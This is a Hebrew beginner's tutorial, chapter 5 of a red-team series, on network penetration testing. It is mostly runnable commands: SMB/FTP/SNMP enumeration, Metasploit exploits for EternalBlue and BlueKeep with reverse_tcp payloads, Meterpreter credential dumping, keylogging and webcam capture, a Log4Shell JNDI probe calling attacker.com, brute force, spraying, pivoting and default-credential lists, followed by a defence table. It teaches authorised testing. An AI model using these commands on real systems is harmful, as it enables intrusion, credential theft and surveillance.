

פרק 5 · RED TEAM GUIDES

בדיקות רשת (Network Pentesting)

מדריך מלא למתחילים — בעברית

Red Team Guides Series · 2026

פרק 5 — בדיקות רשת (Network Pentesting)

מבוא — ממידע לכניסה

בפרקים הקודמים למדנו לאסוף מידע (OSINT) ולסרוק רשתות (nmap, netcat). עכשיו מגיע השלב הבא: לנסות להיכנס. זה מה שנקרא **Network Pentesting** — בדיקת חדירות לרשת.

חשוב להבין: מה שנלמד כאן נעשה **אך ורק על מערכות שיש לכם רשות לבדוק** — CTF challenges, מעבדות ביתיות, כלים כמו HackTheBox/TryHackMe, או מחשבים שלכם עצמכם. כניסה ללא רשות היא עבירה פלילית.

Methodology — סדר הפעולות

- | | |
|----------------------|--------------------------|
| 1. סיור (Recon) | ← כבר עשינו |
| 2. סריקה (Scanning) | ← כבר עשינו |
| 3. Enumeration | ← מה שנלמד עכשיו |
| 4. Exploitation | ← ניצול פגיעויות |
| 5. Post-Exploitation | ← אחרי הכניסה (פרק נפרד) |
| 6. Reporting | ← תיעוד ממצאים |

חלק 1: Service Enumeration — להכיר כל שירות לעומק

אחרי שnmap מצא פורטים פתוחים, צריך להבין בדיוק מה רץ שם. זה נקרא **Enumeration** — איסוף מידע מפורט על שירותים.

SMB (פורט 139,445) — שיתוף קבצים Windows

SMB (Server Message Block) הוא הפרוטוקול של Windows לשיתוף קבצים ומדפסות. זהו אחד הפרוטוקולים הכי פגיעים בהיסטוריה (EternalBlue, WannaCry).

enum4linux:

```
# enumeration מלא
enum4linux -a 192.168.1.50

# מה זה מחזיר:
# [+] OS information via smb
# [+] Users on domain\machine
# [+] Shares
# [+] Password policy
# [+] Group membership

shares רק #
enum4linux -S 192.168.1.50

users רק #
enum4linux -U 192.168.1.50

credentials עם #
enum4linux -u admin -p password -a 192.168.1.50
```

enum4linux-ng (גרסה חדשה יותר):

```
python3 enum4linux-ng.py -A 192.168.1.50
python3 enum4linux-ng.py -A -u "" -p "" 192.168.1.50 # anonymous
```

smbmap — מיפוי הרשאות על shares:

```
# anonymous access
smbmap -H 192.168.1.50

# עם credentials
smbmap -u admin -p password -H 192.168.1.50

# recursive listing של share
smbmap -u admin -p password -H 192.168.1.50 -r ADMIN$

# הורדת קובץ
smbmap -u admin -p password -H 192.168.1.50 --download "C$/secret.txt"
```

smbclient — גישה אינטראקטיבית:

```
shares (anonymous) רשימת #
smbclient -L //192.168.1.50 -N

# כניסה ל-share
smbclient //192.168.1.50/Share -N
smbclient //192.168.1.50/Share -U "username%password"

# בתוך smbclient:
smb: \> ls # רשימת קבצים
smb: \> get secret.txt # הורדת קובץ
smb: \> put local.txt # העלאת קובץ
smb: \> cd Documents # שינוי תיקייה
smb: \> exit
```

:SMB ל NSE scripts

```

EternalBlue (MS17-010) בדיקת #
sudo nmap --script=smb-vuln-ms17-010 192.168.1.50

# enumeration של כללי SMB
sudo nmap --script=smb-enum-shares,smb-enum-users 192.168.1.50

# security mode
sudo nmap --script=smb-security-mode 192.168.1.50

# SMB signing (לחשוב ל-SMB relay)
sudo nmap --script=smb2-security-mode 192.168.1.50

```

FTP (פורט 21)

FTP (File Transfer Protocol) הוא פרוטוקול העברת קבצים ישן ולא מוצפן.

```

anonymous login בדיקת #
ftp 192.168.1.50
# username: anonymous
# password: anonymous (או אימייל)

nmap עם #
sudo nmap --script=ftp-anon 192.168.1.50

# brute force
hydra -L users.txt -P passwords.txt ftp://192.168.1.50

# אחרים כניסה:
ftp> ls -la          # hidden כולל רשימת כל הקבצים
ftp> get secret.txt  # הורדה
ftp> put shell.php   # העלאה (אם מותר)
ftp> binary          # לקבצים לא-טקסטואליים binary מצב
ftp> mget *.txt      # הורדת כמה קבצים

```

TFTP (פורט 69/UDP):

```
# TFTP authentication לא דורש
tftp 192.168.1.50
tftp> get config.txt
tftp> get /etc/passwd
```

SSH (פורט 22)

SSH בדרך כלל מאובטח, אבל יש דברים לבדוק:

```
# בדיקת גרסה (אולי יש CVE)
ssh -V

# אנרסקריפט
nc 192.168.1.50 22

# nmap enumeration
sudo nmap --script=ssh-hostkey 192.168.1.50
sudo nmap --script=ssh-auth-methods 192.168.1.50

# brute force (אם מותר)
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.50
medusa -h 192.168.1.50 -u root -P passwords.txt -M ssh

# בדיקת weak algorithms
sudo nmap --script=ssh2-enum-algos 192.168.1.50
```

Telnet (פורט 23)

Telnet הוא SSH מהעידן הישן — בלי הצפנה. הכל בטקסט גלוי.

```
# התחברות
telnet 192.168.1.50

# יירוט credentials עם tcpdump
sudo tcpdump -i eth0 -A port 23 | grep -E "login|password|Password"
```

SNMP (פורט 161/UDP)

SNMP (Simple Network Management Protocol) משמש לניהול ציוד רשת (נתבים, switches). גרסאות 1c-2c משתמשות ב-community strings (כמו סיסמה) — ברירת המחדל היא "public".

```
# בדיקה בסיסית
snmp-check 192.168.1.1

# onesixtyone – brute force community strings
onesixtyone -c /usr/share/wordlists/snmp.txt 192.168.1.1

# snmpwalk – dumping כל ה-MIB tree
snmpwalk -v 2c -c public 192.168.1.1
snmpwalk -v 2c -c public 192.168.1.1 1.3.6.1.2.1.1 # system info

# נפוץ:
snmpwalk -v 2c -c public 192.168.1.1 .1.3.6.1.2.1.25.4.2.1.2 # running processes
snmpwalk -v 2c -c public 192.168.1.1 .1.3.6.1.2.1.25.6.3.1.2 # installed software
snmpwalk -v 2c -c public 192.168.1.1 .1.3.6.1.2.1.6.13.1.3 # TCP connections
```

RDP (פורט 3389)

RDP (Remote Desktop Protocol) הוא שולחן עבודה מרוחק של Windows.

```
# בדיקת פורט פתוח
sudo nmap -p 3389 --script=rdp-enum-encryption 192.168.1.50

# BlueKeep vulnerability check (CVE-2019-0708)
sudo nmap --script=rdp-vuln-ms12-020 192.168.1.50

# brute force
hydra -L users.txt -P passwords.txt rdp://192.168.1.50
crowbar -b rdp -s 192.168.1.50/32 -U users.txt -C passwords.txt

# התחברות
xfreerdp /u:admin /p:password /v:192.168.1.50
rdesktop 192.168.1.50
```

HTTP/HTTPS (פורטים 80, 443, 8080, 8443)

ה-web server הוא לרוב נקודת הכניסה הנפוצה ביותר.

```
# Web technology fingerprinting
```

```
whatweb http://192.168.1.50
```

```
# nikto – בדיקת vulnerabilities ב-web server
```

```
nikto -h http://192.168.1.50
```

```
# gobuster – brute force directories
```

```
gobuster dir -u http://192.168.1.50 -w /usr/share/wordlists/dirb/common.txt
```

```
gobuster dir -u http://192.168.1.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-
```

```
# feroxbuster – גרסה מהירה יותר
```

```
feroxbuster -u http://192.168.1.50 -w /usr/share/wordlists/dirb/common.txt
```

```
# ffuf – מהיר fuzzer
```

```
ffuf -u http://192.168.1.50/FUZZ -w /usr/share/wordlists/dirb/common.txt
```



```
# MySQL (3306)

sudo nmap --script=mysql-info,mysql-enum 192.168.1.50

mysql -h 192.168.1.50 -u root -p

# MSSQL (1433)

sudo nmap --script=ms-sql-info,ms-sql-empty-password 192.168.1.50

mssqlclient.py sa:password@192.168.1.50 # Impacket

# PostgreSQL (5432)

sudo nmap --script=pgsql-brute 192.168.1.50

psql -h 192.168.1.50 -U postgres

# MongoDB (27017) – לרוב ללא auth

mongo 192.168.1.50:27017

> show dbs

> use admin

> db.users.find()

# Redis (6379) – לרוב ללא auth

redis-cli -h 192.168.1.50

> INFO

> CONFIG GET requirepass

> KEYS *
```

חלק 2: Vulnerability Scanning אוטומטי

Nessus

Nessus הוא הכלי הסטנדרטי ל-vulnerability scanning מסחרי. יש גרסה חינמית (Nessus Essentials) לכדיקת עד 16 hosts.

```
# הורדה מ-tenable.com
# הפעלה:
sudo systemctl start nessusd

# פתיחת ממשק: https://localhost:8834
```

:Scan templates

- **Host Discovery** — רק מי חי ברשת
- **Basic Network Scan** — סריקה כללית
- **Advanced Scan** — עם כל הcredentials
- **Web Application Tests** — לweb apps
- **Credentialed Scan** — עם credentials (הכי מקיף)

OpenVAS/GVM — חינמי

```
# התקנה ב-Kali
sudo apt install gvm
sudo gvm-setup
sudo gvm-start

# ממשק: https://localhost:9392
```

templates מבוסס Nuclei — scanning

Nuclei הוא כלי מודרני שמריץ (YAML) templates לזיהוי פגיעויות. יש אלפי templates מוכנים.

```
# התקנה
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# עדכון templates
nuclei -update-templates

# סריקה בסיסית
nuclei -u http://192.168.1.50

# סריקת רשימת hosts
nuclei -l live_hosts.txt

# סריקה לפי severity
nuclei -u http://192.168.1.50 -severity critical,high

# ספציפיים templates
nuclei -u http://192.168.1.50 -t cves/ -t vulnerabilities/
nuclei -u http://192.168.1.50 -t exposures/configs/

# פלט
nuclei -u http://192.168.1.50 -o results.txt
```

חלק 3: Metasploit Framework — מסגרת הניצול המרכזית

Metasploit הוא הכלי המרכזי ב-red teaming. הוא מכיל:

- **Exploits**: קוד שמנצל פגיעויות
- **Payloads**: מה לעשות אחרי הניצול (shell, meterpreter)
- **Auxiliary**: סריקה, enumeration, brute force
- **Post**: פעולות לאחר כניסה
- **Encoders**: הצפנת payloads
- **Evasion**: עקיפת antivirus

מבנה Metasploit

```
/usr/share/metasploit-framework/modules/  
├─ exploits/           # ניצול פגיעויות  
│   └─ windows/  
│       └─ smb/       # SMB exploits  
│           └─ rdp/    # RDP exploits  
│               └─ linux/  
├─ auxiliary/         # כלי עזר  
│   └─ scanner/       # סריקה  
│       └─ server/    # שרתים  
├─ payloads/          # מה לבצע אחרי כניסה  
│   └─ singles/       # one-liner  
│   └─ stagers/       # two-stage  
│       └─ stages/    # main payload  
└─ post/              # post-exploitation
```

הפעלה בסיסית

```
# הפעלת Metasploit  
msfconsole  
  
# קיצור:  
msfconsole -q # ללא banner
```

```

exploits חיפוש #
msf > search ms17-010

msf > search type:exploit platform:windows smb

module מידע על #
msf > info exploit/windows/smb/ms17_010_eternalblue

module בחירת #
msf > use exploit/windows/smb/ms17_010_eternalblue

options הצגת #
msf exploit(ms17_010_eternalblue) > show options

options הגדרת #
msf exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.50
msf exploit(ms17_010_eternalblue) > set LHOST 192.168.1.100
msf exploit(ms17_010_eternalblue) > set LPORT 4444

payloads מתאימים #
msf exploit(ms17_010_eternalblue) > show payloads

payload בחירת #
msf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

הרצה #
msf exploit(ms17_010_eternalblue) > run

:וא #
msf exploit(ms17_010_eternalblue) > exploit

```

Meterpreter — ה-Shell המתקדם

Meterpreter הוא payload מיוחד של Metasploit שנותן הרבה יותר מ-shell רגיל. הוא רץ בזיכרון בלי לכתוב לדיסק, ומוצפן.

Meterpreter פקודות #

מידע כללי

meterpreter > sysinfo

meterpreter > getuid # user נוכחי

meterpreter > getpid # process ID שלנו

meterpreter > ps # processes רשימת

ניווט בקבצים

meterpreter > pwd # תיקייה נוכחית

meterpreter > ls # רשימת קבצים

meterpreter > cd C:/Users # שינוי תיקייה

meterpreter > cat secret.txt # קריאת קובץ

meterpreter > download secret.txt /tmp/ # הורדה

meterpreter > upload evil.exe C:/Users/ # העלאה

meterpreter > search -f *.txt # חיפוש קבצים

meterpreter > search -f password.txt -d C:/

Shell

meterpreter > shell # פתיחת cmd.exe

meterpreter > execute -f cmd.exe -i # אינטראקטיבי

רשת

meterpreter > ipconfig

meterpreter > arp # ARP table

meterpreter > netstat # connections

meterpreter > portfwd add -l 3306 -p 3306 -r internal_db_ip # port forward

Privilege Escalation

meterpreter > getsystem # SYSTEM-ניסיון ל

meterpreter > getprivs # privileges הצגת

Persistence

meterpreter > run post/windows/manage/persistence # persistence

Mimikatz / Credential Dumping

meterpreter > load kiwi # kiwi טעינת (Mimikatz ב-meterpreter)

```
meterpreter > creds_all          # כל-credentials ה
meterpreter > lsa_dump_sam       # SAM database
meterpreter > lsa_dump_secrets  # LSA secrets
```

Screenshot

```
meterpreter > screenshot
```

Keylogger

```
meterpreter > keyscan_start
```

```
meterpreter > keyscan_dump
```

```
meterpreter > keyscan_stop
```

Webcam

```
meterpreter > webcam_list
```

```
meterpreter > webcam_snap
```

Hashdump

```
meterpreter > hashdump
```

Background session

```
meterpreter > background      # שלח לרקע
```

sessions

```
msf > sessions -l             # sessions רשימת
```

```
msf > sessions -i 1           # session 1 חזרה ל
```

```

# סריקת SMB
msf > use auxiliary/scanner/smb/smb_version
msf > set RHOSTS 192.168.1.0/24
msf > run

# Brute Force SSH
msf > use auxiliary/scanner/ssh/ssh_login
msf > set RHOSTS 192.168.1.50
msf > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
msf > run

# Brute Force SMB
msf > use auxiliary/scanner/smb/smb_login
msf > set RHOSTS 192.168.1.50
msf > set USER_FILE users.txt
msf > set PASS_FILE passwords.txt
msf > run

# SNMP Enum
msf > use auxiliary/scanner/snmp/snmp_enum
msf > set RHOSTS 192.168.1.0/24
msf > run

# FTP anonymous
msf > use auxiliary/scanner/ftp/anonymous
msf > set RHOSTS 192.168.1.0/24
msf > run

```

חלק 4: ניצול פגיעויות ספציפיות

MS17-010 / EternalBlue — הניצול הכי מפורסם

EternalBlue הוא exploit שדלף מה-NSA ב-2017. הוא מנצל פגיעות ב-SMBv1 של Windows וגרם ל-WannaCry ו-NotPetya. עדיין עובד על מערכות לא מעודכנות.

מערכות פגיעות:

- Windows 7
- Windows Server 2008 R2
- Windows XP (unpatched)

```
# שלב 1: בדיקת פגיעות
sudo nmap --script=smb-vuln-ms17-010 192.168.1.50

# פלט אם פגיע:
# VULNERABLE:
# Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

# שלב 2: ב-Metasploit
msf > use exploit/windows/smb/ms17_010_eternalblue
msf > set RHOSTS 192.168.1.50
msf > set LHOST 192.168.1.100
msf > set payload windows/x64/meterpreter/reverse_tcp
msf > run
```

BlueKeep (CVE-2019-0708) — RDP

BlueKeep הוא exploit ל-RDP על Windows XP, 7, Server 2003/2008.

```
# בדיקת פגיעות
msf > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
msf > set RHOSTS 192.168.1.50
msf > run

# ניצול
msf > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf > set RHOSTS 192.168.1.50
msf > run
```

Log4Shell (CVE-2021-44228) — Java

Log4Shell הייתה פגיעות קריטית ב-Log4j (ספרייה Java נפוצה). ב-2021 כמעט כל שרת Java בעולם היה פגיע.

```
# בדיקה ידנית – שליחת JNDI lookup
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/a}' http://192.168.1.50/

# Nuclei ישימות ל-Log4Shell
nuclei -u http://192.168.1.50 -t cves/2021/CVE-2021-44228.yaml

# כלי ייעודי
python3 log4shell_scanner.py -u http://192.168.1.50
```

Shellshock (CVE-2014-6271) — Bash

פגיעות ב-bash שהשפיעה על CGI scripts ב-web servers.

```
# בדיקה ידנית
curl -H 'User-Agent: () { :; }; echo; /bin/id' http://192.168.1.50/cgi-bin/test.cgi

# nmap script
sudo nmap --script=http-shellshock --script-args uri=/cgi-bin/test.cgi 192.168.1.50
```

Heartbleed (CVE-2014-0160) — OpenSSL

פגיעות ב-OpenSSL שמאפשרת לקרוא זיכרון של השרת.

```
# בדיקה
sudo nmap --script=ssl-heartbleed -p 443 192.168.1.50

# ניצול
python3 heartbleed.py 192.168.1.50
```

חלק 5: Password Attacks — מתקפות סיסמאות

Brute Force — Hydra לכל פרוטוקול

Hydra הוא כלי brute force שתומך בעשרות פרוטוקולים.

```
# SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.50

users עם רשימת #
hydra -L users.txt -P passwords.txt ssh://192.168.1.50

# FTP
hydra -l admin -P passwords.txt ftp://192.168.1.50

# HTTP Basic Auth
hydra -l admin -P passwords.txt http-get://192.168.1.50/admin

# HTTP POST form
hydra -l admin -P passwords.txt 192.168.1.50 http-post-form "/login:username=^USER^&passw

# RDP
hydra -L users.txt -P passwords.txt rdp://192.168.1.50

# SMB
hydra -L users.txt -P passwords.txt smb://192.168.1.50

# MySQL
hydra -l root -P passwords.txt mysql://192.168.1.50

threads מהיר יותר עם #
hydra -l admin -P passwords.txt ssh://192.168.1.50 -t 20 -V
```

Medusa — Brute Force מהיר

```
# SSH
medusa -h 192.168.1.50 -u admin -P passwords.txt -M ssh

# HTTP
medusa -h 192.168.1.50 -u admin -P passwords.txt -M http
```

מה זה hash?

hash הוא "טביעת אצבע" של סיסמה. כשמערכת שומרת סיסמה, היא לא שומרת "password123" אלא את ה-hash שלה. hashcat מנסה להשוות hashes לסיסמאות מוכרות.

```
# זיהוי סוג ה-hash
hashid hash.txt

# אינטראקטיבי
hash-identifier #

# MD5 (-m 0)
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

# SHA1 (-m 100)
hashcat -m 100 hash.txt rockyou.txt

# SHA256 (-m 1400)
hashcat -m 1400 hash.txt rockyou.txt

# NTLM (-m 1000) – Windows
hashcat -m 1000 hashes.txt rockyou.txt

# NetNTLMv2 (-m 5600) – SMB capture
hashcat -m 5600 netntlm.txt rockyou.txt

# WPA2 (-m 22000)
hashcat -m 22000 wifi.hc22000 rockyou.txt

# bcrypt (-m 3200) – איטי מאוד
hashcat -m 3200 bcrypt_hash.txt rockyou.txt

# עם rules (מוסיף מספרים, סימנים)
hashcat -m 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# מסיכה (mask attack) – ניחוש מבנה
# ?l=lowercase, ?u=uppercase, ?d=digit, ?s=special
hashcat -m 0 hash.txt -a 3 ?u?l?l?l?l?d?d?d # Password123 style
```

hash modes חשובים:

מספר	סוג Hash
0	MD5
100	SHA1
1400	SHA256
1000	NTLM
5600	NetNTLMv2
2500	WPA/WPA2
3200	bcrypt
1800	sha512crypt (Linux \$6\$)
500	md5crypt (Linux \$1\$)

John the Ripper — פיצוח hash קלאסי

```
Linux /etc/shadow פיצוח #
sudo unshadow /etc/passwd /etc/shadow > shadow_combined.txt
john shadow_combined.txt --wordlist=/usr/share/wordlists/rockyou.txt

# פיצוח hash ספציפי
john hash.txt --wordlist=rockyou.txt

# זיהוי אוטומטי של hash type
john hash.txt --wordlist=rockyou.txt --format=auto

# NTLM
john ntlm.txt --format=nt --wordlist=rockyou.txt

# incremental (brute force אמיתי)
john hash.txt --incremental

# הצגת סימאות שפוצחו
john hash.txt --show
```

```
# rockyou.txt – הנפוץ ביותר
ls /usr/share/wordlists/rockyou.txt
gunzip /usr/share/wordlists/rockyou.txt.gz # אם דחוס

# seclists – אוסף ענק
sudo apt install seclists
ls /usr/share/seclists/

# wordlists ב-Kali
ls /usr/share/wordlists/

# יצירת wordlist מותאם אישית עם CeWL
cewl http://example.com -m 6 -w custom_wordlist.txt
# מילים עם לפחות 6 תווים = -m 6

# מיזוג ומיון
cat rockyou.txt custom_wordlist.txt | sort -u > combined.txt
```

חלק 6: Suite — Impacket של כלי Windows מ-Python

Impacket הוא אוסף כלי Python לעבודה עם פרוטוקולי Windows. ב-Kali כבר מותקן.

```
# PsExec – הרצת פקודות מרוחקת (כמו psexec של Microsoft)
impacket-psexec administrator:password@192.168.1.50

# WMIExec – WMI ביצוע פקודות דרך
impacket-wmiexec administrator:password@192.168.1.50

# SMBExec – דרך SMB
impacket-smbexec administrator:password@192.168.1.50

# Pass-the-Hash – בלי הסיסמה hash-NTLM שימוש ב
impacket-psexec administrator@192.168.1.50 -hashes :NTLM_HASH

# secretsdump – dump credentials מרוחק
impacket-secretsdump administrator:password@192.168.1.50
# מחזיר: NTLM hashes של כל המשתמשים

# GetUserSPNs – Kerberoasting
impacket-GetUserSPNs domain.local/user:password -dc-ip 192.168.1.50 -request

# GetNPUsers – AS-REP Roasting
impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip 192.168.1.50

# NTLM relay
impacket-ntlmrelayx -tf targets.txt -smb2support

# mssqlclient
impacket-mssqlclient sa:password@192.168.1.50
```

חלק 7: CrackMapExec – Swiss Army Knife ל Windows

CrackMapExec (CME) הוא כלי שמאחד המון יכולות למטרה אחת – להבין מה ניתן לעשות עם credentials ב-network.

```
# בדיקת credentials על range שלם
cme smb 192.168.1.0/24 -u admin -p password

# הצגת כל shares
cme smb 192.168.1.50 -u admin -p password --shares

# dump SAM database
cme smb 192.168.1.50 -u admin -p password --sam

# dump LSA secrets
cme smb 192.168.1.50 -u admin -p password --lsa

# Mimikatz remotely
cme smb 192.168.1.50 -u admin -p password -M mimikatz

# הרצת פקודה
cme smb 192.168.1.50 -u admin -p password -x "whoami"
cme smb 192.168.1.50 -u admin -p password -X "Get-Process" # PowerShell

# Pass-the-Hash
cme smb 192.168.1.50 -u admin -H NTLM_HASH

# spray של passwords (ל עצמנו nlock לא ל)
cme smb 192.168.1.0/24 -u users.txt -p 'Summer2024!'

# WinRM
cme winrm 192.168.1.50 -u admin -p password
cme winrm 192.168.1.50 -u admin -p password -x "whoami"
```

חלק 8: Pivoting — קפיצה לרשתות פנימיות

מה זה Pivot?

לפעמים מחשב שנכנסנו אליו נמצא בין שתי רשתות: הרשת החיצונית שאנחנו בה, ורשת פנימית שלא נגישה לנו ישירות. ה-Pivot הוא השימוש במחשב שכבר פרצנו כ"גשר" לרשת הפנימית.

[Attacker] —Internet→ [Pivot Machine] —Internal Network→ [Target]

Metasploit Pivoting

```
Meterpreter session קבלת #
meterpreter > ipconfig

:interfaces 2 רואים שיש #
# eth0: 192.168.1.50 (רשת חיצונית)
# eth1: 10.10.10.50 (רשת פנימית)

pivot-הדרך route הוספת #
meterpreter > background
msf > route add 10.10.10.0/24 [session_id]
msf > route print

pivot-הדרך nmap עכשיו #
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > run
```

Metasploit SOCKS Proxy דרך

```
session-הדרך SOCKS proxy הגדרת #
msf > use auxiliary/server/socks_proxy
msf > set SRVPORT 1080
msf > set VERSION 5
msf > run -j # j = background job

# /etc/proxychains4.conf:
# socks5 127.0.0.1 1080

שימוש #
proxychains nmap -sT 10.10.10.1
proxychains curl http://10.10.10.20/
```

```
Attacker machine (server) על #  
./chisel server --port 8001 --reverse  
  
Pivot machine (client) על #  
./chisel client attacker_ip:8001 R:1080:socks  
  
# proxychains → לרשת הפנימית pivot עבור דרך  
proxychains nmap -sT 10.10.10.0/24
```

SSH Pivoting

```
# Local Port Forward – נגישות לשירות פנימי  
ssh -L 3306:internal_db:3306 user@pivot_machine  
internal_db-ל מגיע → mysql -h 127.0.0.1 : עכשיו: #  
  
# Dynamic (SOCKS) – גישה לכל הרשת הפנימית  
ssh -D 1080 user@pivot_machine  
# + proxychains  
  
# Remote Port Forward – הפוך  
ssh -R 4444:127.0.0.1:4444 user@pivot_machine
```

חלק 9: מתקפות Wireless ברמה מתקדמת

PMKID Attack – פיצוח WPA2 ללא לקוח

בניגוד ל-handshake capture (שדורשת לקוח מחובר), PMKID attack עובדת ישירות מול ה-AP.

```
# hcxdump tool – capture
sudo hcxdump tool -i wlan0mon -o capture.pcapng --enable_status=1

hashcat להמרה #
hcxpcapng tool -o hash.hc22000 capture.pcapng

# פיצוץ
hashcat -m 22000 hash.hc22000 rockyou.txt
```

WPA2 Enterprise — PEAP Attacks

```
# hostapd-wpe – Evil Twin עם credential capture
git clone https://github.com/OpenSecurityResearch/hostapd-wpe
WPA2 Enterprise שמדמה fake AP מקים #
NetNTLM hash לוכד – מתחבר #
```

חלק 10: Vulnerability Assessment Workflow מלא

כך נראה pentest network מלא מהתחלה לסוף:

שלב 1: Discovery

```
# מי חי?
sudo nmap -sn 192.168.1.0/24 -oG alive_hosts.gnmap
grep "Up" alive_hosts.gnmap | awk '{print $2}' > live.txt

# סריקה מהירה
sudo nmap -T4 -F -iL live.txt -oA fast_scan
```

שלב 2: Port Scanning מלא

```
# כל הפורטים על כל hosts
sudo nmap -p- -T4 -iL live.txt -oA full_ports

# service detection
sudo nmap -sV -sC -iL live.txt -oA services
```

שלב 3: Automated Vulnerability Scan

```
# nuclei
nuclei -l live.txt -severity critical,high,medium -o nuclei_results.txt

# nmap vuln scripts
sudo nmap --script=vuln -iL live.txt -oA vuln_scan
```

שלב 4: Manual Enumeration לפי שירות

```
# SMB
for ip in $(cat live.txt); do
    echo "=== $ip ==="
    enum4linux -a $ip 2>/dev/null | tee enum4linux_$ip.txt
done

# Web
cat live.txt | httpx -status-code -title -tech-detect | tee web_services.txt

# Database
sudo nmap --script=mysql-empty-password,mysql-info -p 3306 -iL live.txt
```

```
# לניצול ממצאים Metasploit
msfconsole

# לפי כל vulnerability שמצאנו:
# - MS17-010 → use exploit/windows/smb/ms17_010_eternalblue
# - OpenSSH vuln → search ssh in metasploit
# - Web app vuln → chapter 06
```

```
# אחרי קבלת meterpreter
meterpreter > sysinfo
meterpreter > getsystem
meterpreter > hashdump
meterpreter > run post/multi/recon/local_exploit_suggester
```

חלק 11: Password Spraying — ריסוס סיסמאות

Password spraying הוא הפוך מbrute force: במקום לנסות הרבה סיסמאות על user אחד (שיגרום ל-lockout), מנסים **סיסמה אחת** על הרבה **users**.

```
# CrackMapExec password spray על SMB
cme smb 192.168.1.0/24 -u users.txt -p 'Company2024!' --no-bruteforce

# Kerbrute – password spray על Kerberos
kerbrute passwordspray -d domain.local --dc 192.168.1.50 users.txt 'Summer2024!'

# spray על OWA (Outlook Web Access)
python3 ruler.py brute --users users.txt --passwords passwords.txt --domain example.com
```

```
CompanyName2024
CompanyName2024!
Welcome1
Welcome1!
Passw0rd
Password123
SeasonYear (Summer2024, Winter2024)
```

חלק 12: OSCP-Style Methodology

OSCP (Offensive Security Certified Professional) הוא ההסמכה המוכרת ביותר ב-penetration testing. הנה ה-methodology שלהם:

Checklist לכל שירות

:Port 21 (FTP)

- Anonymous login [] ?
- Writable directories [] ?
- Known exploits לגרסה [] ?
- Brute force []

:Port 22 (SSH)

- גרסה — יש CVE? []
- Key authentication [] ?
- Brute force []

:Port 80/443 (HTTP)

- gobuster/feroxbuster []
- nikto []
- CMS מזוהה? (WordPress/Joomla/Drupal) []
- robots.txt, sitemap.xml []
- Source code review []
- SQL injection []

File upload [] •

:Port 445 (SMB)

?MS17-010 [] •

?Null session [] •

?Accessible shares [] •

?Credentials [] •

:Port 3389 (RDP)

?BlueKeep [] •

Brute force [] •

חלק 13: ה-Low Hanging Fruit — מה לחפש תמיד

כמה דברים שכדאי לבדוק תמיד ולפני כל שאר ה-enumeration:

:Default Credentials

```
admin:admin
admin:password
admin:123456
root:root
root:toor
administrator:administrator
guest:guest
```

מסדי נתונים ללא authentication:

```
# MongoDB
mongo --host 192.168.1.50 --port 27017
> show dbs

# Elasticsearch
curl http://192.168.1.50:9200/_cat/indices?v

# Redis
redis-cli -h 192.168.1.50

# CouchDB
curl http://192.168.1.50:5984/_all_dbs
```

:**"SNMP community "public**

```
snmpwalk -v 2c -c public 192.168.1.50
```

:**FTP anonymous**

```
ftp 192.168.1.50
# username: anonymous, password: [enter]
```

חלק 14: הגנה — איך מגנים מפני Network Pentesting

כל מה שלמדנו — יש לו מענה:

הגנה	מתקפה
IPS/IDS, honeypots, rate limiting	Port Scanning
Windows Update (patch MS17-010)	EternalBlue
Windows Update (patch CVE-2019-0708)	BlueKeep
Account lockout, MFA, strong passwords	Brute Force
MFA, smart lockout (Azure AD), conditional access	Password Spray
לשנות תמיד ה-defaults	Default Credentials
שימוש ב-SNMPv3 עם authentication, כיבוי אם לא נחוץ	SNMP Enumeration
anonymous access כיבוי	Anonymous FTP
exposure מינימום, firewall, authentication תמיד	Open Databases
SMB Signing, disable guest	Null SMB Sessions
Network segmentation, VLAN, micro-segmentation	Pivoting

:Patch Management

הכלל הכי חשוב — לעדכן! רוב הניצולים שלמדנו (EternalBlue, BlueKeep, Log4Shell) עובדים רק על מערכות לא מעודכנות.

סיכום

בפרק הזה למדנו:

- 1. **Service Enumeration** — SMB, FTP, SSH, SNMP, RDP, HTTP, Databases
- 2. **Vulnerability Scanning** — Nessus, OpenVAS, Nuclei
- 3. **Metasploit** — exploits, meterpreter, auxiliary modules
- 4. **ניצול ספציפי** — EternalBlue, BlueKeep, Log4Shell, Shellshock
- 5. **Password Attacks** — Hydra, Hashcat, John, wordlists
- 6. **Impacket** — כלי Windows מ-Python
- 7. **CrackMapExec** — ניהול מרחוק ו-lateral movement
- 8. **Pivoting** — מעבר לרשתות פנימיות

9. **Password Spraying** — ריסוס בלי lockout

10. checklist — **OSCP Methodology** לכל שירות

הפרק הבא עוסק ב-**Web Application Testing** — אחד התחומים הגדולים ב-pentest.